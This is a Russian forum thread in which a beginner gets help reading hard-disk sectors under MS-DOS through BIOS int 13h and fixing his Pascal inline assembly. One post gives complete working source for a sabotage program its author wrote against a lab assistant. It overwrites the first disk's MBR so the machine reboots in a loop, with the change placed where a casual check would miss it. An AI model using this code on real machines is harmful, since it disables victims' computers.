Чтение поверхности винчестера

Тема в разделе "WASM.BEGINNERS", создана пользователем x_arrange, 27 июн 2007.

  1. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    Граждане, позарез нужон пример чтения/записи сектора c винча под MS-DOS на чем угодно.

    Может завалялась у кого для себя писанная дллка с двумя функциями типа

    [read/write]sector(Drive:byte; SectorNo:dword; Buff:pointer) в массив из 512 байт.

    Пробовал на асме через прерывания ни черта не выходит

    Заранее спасибо
     
  2. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.750
    Ну через int 13 можно ...
     
  3. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    Ясно что можно и через int13 и через int21. К бабке не ходи! Только как?!. Я в асме не силен вот и прошу типа какой нить пример
     
  4. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.750
    Примерно так:

    mov bx,offset buffer
    mov ah,02h ; 03h запись
    mov al,01h
    mov ch,00h
    mov cl,01h
    mov dh,00h
    mov dl,80h
    int 13h
     
  5. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.750
    Google

    http://www.codenet.ru/progr/dos/int_0012.php

    http://www.wasm.ru/article.php?article=1007001#FUNC13H
     
  6. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    был я на codenet. усе сделал как написано - ни фи га. (может руки не тем концом конечно)
     
  7. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.750
    http://www.excode.ru/art8033p1.html
     
  8. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.750
    Даю пример 100% рабочей проги писал я ее более 12 лет назад.
    Прога западло ! Была написанна для облома одной лаборантки в комп. классе.

    Смысл проги. Читает MBR а затем подменяет в нем команду. На перезагрузку.

    Но не в начале MBR сектора а через 15-20 команд (это если какой умник посмотрит начало MBR сектора)

    Результат работы комп пытается загрузиться но после загрузки MBR вновь перезагружается.

    Код (Text):
    1. code segment
    2.  
    3.      org 100h
    4.      assume cs:code,ds:code
    5.  
    6. start:
    7.      push ds
    8.      push ax
    9.      push si
    10.  
    11.      mov ax,cs
    12.      mov es,ax
    13.      mov bx,offset bf
    14.  
    15.        mov ah,02h
    16.        mov al,01h
    17.        mov ch,00h
    18.        mov cl,01h
    19.        mov dh,00h
    20.        mov dl,80h
    21.        int 13h
    22.  
    23.        push cx es ds di si
    24.  
    25.        mov cx,dlinna
    26.        push cs
    27.        push cs
    28.        pop es
    29.        pop ds
    30.        lea di,bf
    31.        lea si,zapadlo
    32.        rep movsb
    33.  
    34.        pop si di ds es cx
    35.  
    36. ok_1:  mov bx,offset bf
    37.        mov ah,03h
    38.        mov al,01h
    39.        mov ch,00h
    40.        mov cl,01h
    41.        mov dh,00h
    42.        mov dl,80h
    43.        
    44.        int 13h
    45.      
    46.        
    47.        
    48.        pop si
    49.        pop ax
    50.        pop ds
    51.  
    52.      int 20h
    53.  
    54.  bf  db 512 dup (0)
    55.  
    56. zapadlo:
    57.        cli
    58.        xor ax,ax
    59.        mov ss,ax
    60.        mov sp,7c00h
    61.        mov si,sp
    62.        mov es,ax
    63.        mov ds,ax
    64.        sti
    65.        cld
    66.        mov di,600h
    67.        mov cx,100h
    68.        repne movsw
    69.  
    70. db 0eah,0f0h,0ffh,00h,0f0h
    71. dlinna=$-zapadlo
    72.  
    73. code ends
    74.      end start
     
  9. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    Класс! спасибо. только я наверное тупой. Вставил кусок
    Код (Text):
    1. var bf:array [0.511] of byte;
    2. asm
    3.  
    4.      push ds
    5.      push ax
    6.      push si
    7.  
    8.      mov ax,cs
    9.      mov es,ax
    10.      mov bx,offset bf
    11.  
    12.        mov ah,02h
    13.        mov al,01h
    14.        mov ch,00h
    15.        mov cl,01h
    16.        mov dh,00h
    17.        mov dl,80h
    18.        int 13h
    19.    end;
    в паскаль а bf пустой как был до чтения пустой так и остался.
     
  10. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.750
    Лирически напевая ... Какой ты был такой ты и остался,но ты и дорог мне такой...

    Ты под MS DOS запускаеш ?
     
  11. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    конечно в досе. теперь вроде bf не пустой но при попытке вывести его по write'у комп виснет
     
  12. Y_Mur

    Y_Mur Active Member

    Публикаций:
    0
    Регистрация:
    6 сен 2006
    Сообщения:
    2.494
    есно виснет :))
    с чего ты взял, что
    var bf:array [0.511] of byte;
    размещает данные в сегменте кода?
    и после push воощето pop не следует забывать :)

    ЗЫ: Возьми TASM или fasm и не парься с паскалем :)
     
  13. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    в том то и дело что я понятия не имею в каком сегменте размещается bf. тем более в паскале

    мне паскаль по любому нужен. надо в него асм вписать.
     
  14. Y_Mur

    Y_Mur Active Member

    Публикаций:
    0
    Регистрация:
    6 сен 2006
    Сообщения:
    2.494
    ладно попробуй так:
    Код (Text):
    1. var bf:array [0..511] of byte;
    2. asm
    3.      pusha
    4.      push es
    5.      push ds
    6.  
    7.      mov ax,ds
    8.      mov es,ax
    9.      mov bx,offset bf
    10.  
    11.        mov ah,02h
    12.        mov al,01h
    13.        mov ch,00h
    14.        mov cl,01h
    15.        mov dh,00h
    16.        mov dl,80h
    17.        int 13h
    18.  
    19.     pop ds
    20.     pop es
    21.     popa
    22.    end;
    хотя давно я в паскаль не заглядывал ;) и не помню ни его сегментацию ни нужно ли сохранять регистры в асм вставках или они сами сохраняются ;)
     
  15. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    ERROR: 286/287 instructions are not enabled

    вот тебе и паскаль
     
  16. Y_Mur

    Y_Mur Active Member

    Публикаций:
    0
    Регистрация:
    6 сен 2006
    Сообщения:
    2.494
    дык полазий по настройкам пасквиля - они там где-то флажком включаются :))
     
  17. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    pusha/popa убери
     
  18. Y_Mur

    Y_Mur Active Member

    Публикаций:
    0
    Регистрация:
    6 сен 2006
    Сообщения:
    2.494
    n0name
    А ты помнишь - есть там автосохрание регистров или паскалю это не принципиально?
     
  19. x_arrange

    x_arrange New Member

    Публикаций:
    0
    Регистрация:
    27 июн 2007
    Сообщения:
    8
    YYEAAAH !!! Заработало !!!

    С П А С И Б О О Г Р О М Н О Е !!!
     
  20. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Y_Mur
    насколько я помню, там оптимизации почти нет, и компилятор не полащгается на значения регистров.